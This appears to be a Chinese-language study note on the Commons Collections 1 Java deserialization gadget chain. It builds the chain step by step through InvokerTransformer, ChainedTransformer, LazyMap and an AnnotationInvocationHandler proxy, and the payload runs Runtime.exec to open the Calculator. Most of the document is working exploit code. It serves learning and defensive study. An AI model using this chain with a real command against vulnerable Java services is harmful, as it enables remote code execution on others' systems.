CC1
commons-collections包为Java标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
限制JDK版本为1.8_065以下,CC版本4以下
入口类需要满足可序列化→需要有readObject→…→最后调用.exec
看一下哪个函数调用了Transform:
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class CC1Test {
public static void main(String[] args) throws Exception {
/*普通java反射写法
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"/System/Applications/Calculator.app/Contents/MacOS/Calculator");*/
//InvokerTransform调用
Runtime rt = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).transform(rt);
}
}
先跟进,然后FindUsages,发现一共有21个函数调用了transform方法
找到TransformedMap里的checkSetValue看到valueTransformer调用了transform,看一下valueTransormer方法,再看一下TransformedMap
是protect所以是在当前文件调用,向上找一下,
找到docorate方法
构造invokerTransform方法,最后decorate方法我们只想调用CheckSetValue,所以只要最后赋值invokerTransformer
//InvokerTransform调用
Runtime rt = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
HashMap<Object,Object> map = new HashMap<>();
TransformedMap.decorate(map, null, invokerTransformer);
看一下哪里调用了checkSetValue方法:
如何让Runtime.getRuntime()进行序列化:
他的class可以序列化
正常反射:
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime rt = (Runtime) getRuntimeMethod.incode(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(rt,"/System/Applications/Calculator.app/Contents/MacOS/Calculator");
可序列化版本:
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime rt = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).transform(rt);
一个一个写太麻烦,ChainedTransformer
可以循环调用
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
ysoserial CC1链调用流程:
HashMap<Object,Object> map = new HashMap<>();
//map.put("value","aaa");
Map<Object,Object> Lazymap = LazyMap.decorate(map, chainedTransformer);
/*for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(rt);
}*/
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class,Lazymap);
Map mapProxy =(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
//serialize(o);
unserialize("ysoser.bin");